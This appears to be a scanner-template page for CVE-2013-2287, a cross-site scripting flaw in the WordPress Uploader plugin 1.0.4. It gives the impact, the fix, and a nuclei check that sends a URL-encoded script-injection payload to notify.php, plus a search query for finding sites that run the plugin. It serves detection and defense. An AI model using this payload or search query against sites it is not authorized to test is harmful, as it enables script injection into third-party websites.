WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting

mediumseverity

4.3CVSS score

9.2%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Multiple cross-site scripting vulnerabilities in views/notify.php in the Uploader plugin 1.0.4 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) notify or (2) blog parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the WordPress Plugin Uploader or apply a patch provided by the vendor to fix the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/uploader/readme.txt
Positive when: contains "Uploader" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2013-2287 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2013-2287

info:
  name: WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting  vulnerabilities in views/notify.php in the Uploader plugin 1.0.4 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) notify or (2) blog parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Plugin Uploader or apply a patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-2287
    - https://www.dognaedis.com/vulns/DGS-SEC-16.html
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-2287
    cwe-id: CWE-79
    epss-score: 0.09205
    epss-percentile: 0.95379
    cpe: cpe:2.3:a:roberta_bramski:uploader:1.0.4:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "roberta_bramski"
    product: uploader
    google-query: "inurl:\"/wp-content/plugins/uploader\""
  tags: cve,cve2013,wordpress,xss,wp-plugin,roberta_bramski,intrusive,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/uploader/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Uploader'
          - "Tags:"
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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